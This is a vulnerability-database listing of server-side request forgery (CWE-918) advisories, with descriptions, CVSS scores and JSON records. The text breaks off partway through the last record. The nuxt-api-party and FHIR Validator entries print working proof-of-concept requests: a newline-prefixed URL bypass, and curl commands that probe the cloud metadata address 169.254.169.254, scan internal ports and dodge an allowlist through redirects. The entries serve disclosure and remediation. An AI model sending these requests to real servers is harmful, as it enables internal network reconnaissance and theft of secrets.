Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4787 vulnerabilities reference this CWE, most recent first.

GHSA-3W49-FQ5G-G3Q6

Vulnerability from github – Published: 2026-05-27 00:31 – Updated: 2026-06-01 21:30
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to cause the server to issue HTTP requests to internal services via the security advisories package lookup feature. By directing requests to an internal management service and measuring response timing, an attacker could infer the values of sensitive environment variables, including signing secrets and private keys. Exploitation required GitHub Packages to be enabled; on instances not running in private mode the vulnerability was exploitable without authentication, otherwise any authenticated user could exploit it. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21.1 and was fixed in versions 3.20.3, 3.19.7, 3.18.10, 3.17.16, and 3.16.19. This vulnerability was reported via the GitHub Bug Bounty program.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
7.0 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T00:16:37Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to cause the server to issue HTTP requests to internal services via the security advisories package lookup feature. By directing requests to an internal management service and measuring response timing, an attacker could infer the values of sensitive environment variables, including signing secrets and private keys. Exploitation required GitHub Packages to be enabled; on instances not running in private mode the vulnerability was exploitable without authentication, otherwise any authenticated user could exploit it. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21.1 and was fixed in versions 3.20.3, 3.19.7, 3.18.10, 3.17.16, and 3.16.19. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-3w49-fq5g-g3q6",
  "modified": "2026-06-01T21:30:35Z",
  "published": "2026-05-27T00:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8606"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.19"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.16"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.10"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.7"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.3"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3WCW-M33P-8R99

Vulnerability from github – Published: 2022-05-14 04:01 – Updated: 2025-04-20 03:49
VLAI
Details

Server Side Request Forgery (SSRF) vulnerability in SAP NetWeaver Knowledge Management Configuration Service, EPBC and EPBC2 from 7.00 to 7.02; KMC-BC 7.30, 7.31, 7.40 and 7.50, that allows an attacker to manipulate the vulnerable application to send crafted requests on behalf of the application.

Severity
4.7 (Medium)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-16678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-12T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Server Side Request Forgery (SSRF) vulnerability in SAP NetWeaver Knowledge Management Configuration Service, EPBC and EPBC2 from 7.00 to 7.02; KMC-BC 7.30, 7.31, 7.40 and 7.50, that allows an attacker to manipulate the vulnerable application to send crafted requests on behalf of the application.",
  "id": "GHSA-3wcw-m33p-8r99",
  "modified": "2025-04-20T03:49:48Z",
  "published": "2022-05-14T04:01:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16678"
    },
    {
      "type": "WEB",
      "url": "https://blogs.sap.com/2017/12/12/sap-security-patch-day-december-2017"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2457562"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102149"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3WFP-253J-5JXV

Vulnerability from github – Published: 2023-12-12 00:49 – Updated: 2023-12-12 00:49
VLAI
Summary
SSRF & Credentials Leak
Details

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. A previous vulnerability allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF.

This vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF.

Details

nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use a regular expression ^https?://.

This regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com has a leading newline.

According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue." (source)

This means the final request will be normalized to https://whatever.com. We have bypassed the check and nuxt-api-party will send a request outside of the whitelist.

This could allow us to leak credentials or perform SSRF.

PoC

POC using Node.

await fetch("/api/__api_party/MyEndpoint", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

We can use __proto__ as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on endpoint will be undefined.

await fetch("/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

Impact

Leak of sensitive API credentials. SSRF.

Fix

Revert to the previous method of detecting absolute URLs.

  if (new URL(path, 'http://localhost').origin !== 'http://localhost') {
      // ...
  }
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt-api-party"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-12T00:49:44Z",
    "nvd_published_at": "2023-12-09T00:15:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [A previous vulnerability](https://huntr.dev/bounties/4c57a3f6-0d0e-4431-9494-4a1e7b062fbf/) allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF. \n\nThis vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF. \n\n### Details\n`nuxt-api-party` attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to [use a regular expression](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31) `^https?://`.\n\nThis regular expression can be bypassed by an absolute URL with leading whitespace. For example `\\nhttps://whatever.com` has a leading newline. \n\nAccording to the fetch specification, before a fetch is made the URL is normalized. \"To normalize a [byte sequence](https://infra.spec.whatwg.org/#byte-sequence) potentialValue, remove any leading and trailing [HTTP whitespace bytes](https://fetch.spec.whatwg.org/#http-whitespace-byte) from potentialValue.\" ([source](https://fetch.spec.whatwg.org/))\n\nThis means the final request will be normalized to `https://whatever.com`. We have bypassed the check and `nuxt-api-party` will send a request outside of the whitelist. \n\nThis could allow us to leak credentials or perform SSRF.\n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on `endpoint` will be undefined.\n```js\nawait fetch(\"/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nLeak of sensitive API credentials. SSRF.\n\n\n### Fix\nRevert to the previous method of detecting absolute URLs.\n```js\n  if (new URL(path, \u0027http://localhost\u0027).origin !== \u0027http://localhost\u0027) {\n      // ...\n  }\n```\n",
  "id": "GHSA-3wfp-253j-5jxv",
  "modified": "2023-12-12T00:49:44Z",
  "published": "2023-12-12T00:49:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-3wfp-253j-5jxv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49799"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/commit/72762a200fc19d997a0f84bce578c28698dc5270"
    },
    {
      "type": "WEB",
      "url": "https://fetch.spec.whatwg.org"
    },
    {
      "type": "WEB",
      "url": "https://fetch.spec.whatwg.org/#http-whitespace-byte"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/johannschopplich/nuxt-api-party"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31"
    },
    {
      "type": "WEB",
      "url": "https://infra.spec.whatwg.org/#byte-sequence"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SSRF \u0026 Credentials Leak "
}

GHSA-3WG2-72JM-537J

Vulnerability from github – Published: 2023-03-14 06:30 – Updated: 2023-03-20 18:30
VLAI
Details

In SAP BusinessObjects Business Intelligence Platform - version 420, 430, an attacker can control a malicious BOE server, forcing the application server to connect to its own CMS, leading to a high impact on availability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-27896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "In SAP BusinessObjects Business Intelligence Platform - version 420, 430, an attacker can control a malicious BOE server, forcing the application server to connect to its own CMS, leading to a high impact on availability.",
  "id": "GHSA-3wg2-72jm-537j",
  "modified": "2023-03-20T18:30:56Z",
  "published": "2023-03-14T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27896"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3287120"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3WRM-PM5V-8VQ8

Vulnerability from github – Published: 2026-07-10 15:31 – Updated: 2026-07-10 15:31
VLAI
Details

PraisonAI before 4.6.78 contains an unauthenticated server-side request forgery vulnerability in the Jobs API /api/v1/runs endpoint. The webhook_url parameter is validated at request time but re-resolved at connection time, allowing attackers to use DNS rebinding to reach internal services with a blind SSRF attack.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-60091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T15:16:49Z",
    "severity": "MODERATE"
  },
  "details": "PraisonAI before 4.6.78 contains an unauthenticated server-side request forgery vulnerability in the Jobs API /api/v1/runs endpoint. The webhook_url parameter is validated at request time but re-resolved at connection time, allowing attackers to use DNS rebinding to reach internal services with a blind SSRF attack.",
  "id": "GHSA-3wrm-pm5v-8vq8",
  "modified": "2026-07-10T15:31:41Z",
  "published": "2026-07-10T15:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4w49-gwv8-fpjg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60091"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-unauthenticated-ssrf-via-webhook-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3WW8-JW56-9F5H

Vulnerability from github – Published: 2026-03-30 17:21 – Updated: 2026-03-31 18:55
VLAI
Summary
FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
Details

Summary

The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.

Details

Root cause chain:

  1. LoadIGHTTPHandler.handle() reads the ig field from user-supplied JSON and passes it directly to IgLoader.loadIg() with no validation:
// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);

  1. loadIg() calls loadIgSource(srcPackage, recursive, true) with explore=true (IgLoader.java:153).

  2. loadIgSource() checks Common.isNetworkPath(src) which only verifies the URL starts with http: or https: — no host/IP validation (Common.java:14-16).

  3. The URL reaches ManagedWebAccess.get() which calls inAllowedPaths(). This check is a no-op by default because allowedDomains is initialized as an empty list, and the code explicitly returns true when empty:

// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
    if (allowedDomains.isEmpty()) {
        return true;  // DEFAULT: all domains allowed
    }
    // ...
}

The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.

  1. SimpleHTTPClient.get() makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against inAllowedPaths():
// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
     HttpURLConnection.HTTP_MOVED_TEMP,
     307, 308:
    String location = connection.getHeaderField("Location");
    url = new URL(originalUrl, location);  // No domain re-validation
    continue;
  1. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):
server = HttpServer.create(new InetSocketAddress(port), 0);
  1. Errors propagate back to the attacker with exception details:
// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
    OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);

Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.

PoC

  1. Start the FHIR Validator in HTTP server mode:
java -jar validator_cli.jar -server -port 8080
  1. Probe a cloud metadata endpoint:
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'

Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).

  1. Port scan an internal host:
# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:8080/"}'

# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:9999/"}'
  1. Redirect bypass (if allowedDomains were configured):
# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://allowed-domain.com/redir"}'

The validator follows the redirect to the internal target without re-checking the domain allowlist.

Impact

An unauthenticated attacker with network access to the FHIR Validator HTTP service can:

  • Probe internal network services — differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)
  • Access cloud metadata endpoints — reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position
  • Map internal network topology — systematically enumerate internal hosts and services
  • Bypass domain restrictions via redirects — even if allowedDomains is configured, redirect following does not re-validate targets
  • Amplify reconnaissance — each /loadIG call with explore=true generates multiple outbound requests (package.tgz, JSON, XML variants)

This is a blind SSRF — the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.

Recommended Fix

  1. Add URL validation in LoadIGHTTPHandler before passing to loadIg() — reject private/internal IP ranges and non-standard ports:
// LoadIGHTTPHandler.java — add before line 43
if (Common.isNetworkPath(ig)) {
    URL url = new URL(ig);
    InetAddress addr = InetAddress.getByName(url.getHost());
    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||
        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
        sendOperationOutcome(exchange, 400,
            OperationOutcomeUtilities.createError("URL targets a private/internal address"),
            getAcceptHeader(exchange));
        return;
    }
}
  1. Re-validate redirect targets in SimpleHTTPClient.get() — check inAllowedPaths() for each redirect URL:
// SimpleHTTPClient.java — inside the redirect case (after line 98)
url = new URL(originalUrl, location);
if (!ManagedWebAccess.inAllowedPaths(url.toString())) {
    throw new IOException("Redirect target '" + url + "' is not in allowed domains");
}

  1. Configure allowedDomains by default to restrict outbound requests to known FHIR registries (e.g., packages.fhir.org, hl7.org), or require explicit opt-in for open access.

  2. Add authentication to the HTTP service, at minimum for state-changing endpoints like /loadIG.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:21:28Z",
    "nvd_published_at": "2026-03-31T17:16:32Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `/loadIG` HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With `explore=true` (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.\n\n## Details\n\n**Root cause chain:**\n\n1. `LoadIGHTTPHandler.handle()` reads the `ig` field from user-supplied JSON and passes it directly to `IgLoader.loadIg()` with no validation:\n\n```java\n// LoadIGHTTPHandler.java:35,43\nString ig = wrapper.asString(\"ig\");\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);\n```\n\n2. `loadIg()` calls `loadIgSource(srcPackage, recursive, true)` with `explore=true` (IgLoader.java:153).\n\n3. `loadIgSource()` checks `Common.isNetworkPath(src)` which only verifies the URL starts with `http:` or `https:` \u2014 no host/IP validation (Common.java:14-16).\n\n4. The URL reaches `ManagedWebAccess.get()` which calls `inAllowedPaths()`. This check is a no-op by default because `allowedDomains` is initialized as an empty list, and the code explicitly returns `true` when empty:\n\n```java\n// ManagedWebAccess.java:104-106\nstatic boolean inAllowedPaths(String pathname) {\n    if (allowedDomains.isEmpty()) {\n        return true;  // DEFAULT: all domains allowed\n    }\n    // ...\n}\n```\n\nThe source code has a `//TODO get this from fhir settings` comment (line 82) confirming this is an incomplete security control.\n\n5. `SimpleHTTPClient.get()` makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against `inAllowedPaths()`:\n\n```java\n// SimpleHTTPClient.java:88-99\ncase HttpURLConnection.HTTP_MOVED_PERM,\n     HttpURLConnection.HTTP_MOVED_TEMP,\n     307, 308:\n    String location = connection.getHeaderField(\"Location\");\n    url = new URL(originalUrl, location);  // No domain re-validation\n    continue;\n```\n\n6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):\n\n```java\nserver = HttpServer.create(new InetSocketAddress(port), 0);\n```\n\n7. Errors propagate back to the attacker with exception details:\n\n```java\n// LoadIGHTTPHandler.java:49\nsendOperationOutcome(exchange, 500,\n    OperationOutcomeUtilities.createError(\"Failed to load IG: \" + e.getMessage()), ...);\n```\n\n**Redirect bypass:** Even if `allowedDomains` were configured, the domain check in `ManagedWebAccessor.setupSimpleHTTPClient()` (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.\n\n## PoC\n\n1. Start the FHIR Validator in HTTP server mode:\n```bash\njava -jar validator_cli.jar -server -port 8080\n```\n\n2. Probe a cloud metadata endpoint:\n```bash\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://169.254.169.254/latest/meta-data/\"}\u0027\n```\n\nExpected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).\n\n3. Port scan an internal host:\n```bash\n# Open port \u2014 returns quickly with a parse error (content received but not valid FHIR)\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://10.0.0.1:8080/\"}\u0027\n\n# Closed port \u2014 returns with \"Connection refused\"\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://10.0.0.1:9999/\"}\u0027\n```\n\n4. Redirect bypass (if allowedDomains were configured):\n```bash\n# Attacker hosts redirect: http://allowed-domain.com/redir \u2192 http://127.0.0.1:8080/admin\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://allowed-domain.com/redir\"}\u0027\n```\n\nThe validator follows the redirect to the internal target without re-checking the domain allowlist.\n\n## Impact\n\nAn unauthenticated attacker with network access to the FHIR Validator HTTP service can:\n\n- **Probe internal network services** \u2014 differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)\n- **Access cloud metadata endpoints** \u2014 reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator\u0027s network position\n- **Map internal network topology** \u2014 systematically enumerate internal hosts and services\n- **Bypass domain restrictions via redirects** \u2014 even if allowedDomains is configured, redirect following does not re-validate targets\n- **Amplify reconnaissance** \u2014 each `/loadIG` call with `explore=true` generates multiple outbound requests (package.tgz, JSON, XML variants)\n\nThis is a blind SSRF \u2014 the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.\n\n## Recommended Fix\n\n1. **Add URL validation** in `LoadIGHTTPHandler` before passing to `loadIg()` \u2014 reject private/internal IP ranges and non-standard ports:\n\n```java\n// LoadIGHTTPHandler.java \u2014 add before line 43\nif (Common.isNetworkPath(ig)) {\n    URL url = new URL(ig);\n    InetAddress addr = InetAddress.getByName(url.getHost());\n    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||\n        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {\n        sendOperationOutcome(exchange, 400,\n            OperationOutcomeUtilities.createError(\"URL targets a private/internal address\"),\n            getAcceptHeader(exchange));\n        return;\n    }\n}\n```\n\n2. **Re-validate redirect targets** in `SimpleHTTPClient.get()` \u2014 check `inAllowedPaths()` for each redirect URL:\n\n```java\n// SimpleHTTPClient.java \u2014 inside the redirect case (after line 98)\nurl = new URL(originalUrl, location);\nif (!ManagedWebAccess.inAllowedPaths(url.toString())) {\n    throw new IOException(\"Redirect target \u0027\" + url + \"\u0027 is not in allowed domains\");\n}\n```\n\n3. **Configure `allowedDomains` by default** to restrict outbound requests to known FHIR registries (e.g., `packages.fhir.org`, `hl7.org`), or require explicit opt-in for open access.\n\n4. **Add authentication** to the HTTP service, at minimum for state-changing endpoints like `/loadIG`.",
  "id": "GHSA-3ww8-jw56-9f5h",
  "modified": "2026-03-31T18:55:39Z",
  "published": "2026-03-30T17:21:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-3ww8-jw56-9f5h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34360"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing"
}

GHSA-3X3H-FCC9-P4PX

Vulnerability from github – Published: 2024-03-28 15:30 – Updated: 2025-03-28 21:30
VLAI
Details

An administrative user of WebReports may perform a Server Side Request Forgery (SSRF) exploit through SMTP configuration options.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-45705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-28T15:15:45Z",
    "severity": "LOW"
  },
  "details": "An administrative user of WebReports may perform a Server Side Request Forgery (SSRF) exploit through SMTP configuration options.",
  "id": "GHSA-3x3h-fcc9-p4px",
  "modified": "2025-03-28T21:30:37Z",
  "published": "2024-03-28T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45705"
    },
    {
      "type": "WEB",
      "url": "https://support.hcltechsw.com/csm?id=kb_article\u0026sysparm_article=KB0111972"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3X8W-QFR9-4JMG

Vulnerability from github – Published: 2025-12-15 21:30 – Updated: 2025-12-19 00:31
VLAI
Details

Ateme TITAN File 3.9.12.4 contains an authenticated server-side request forgery vulnerability in the job callback URL parameter that allows attackers to bypass network restrictions. Attackers can exploit the unvalidated parameter to initiate file, service, and network enumeration by forcing the application to make HTTP, DNS, or file requests to arbitrary destinations.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T21:15:52Z",
    "severity": "MODERATE"
  },
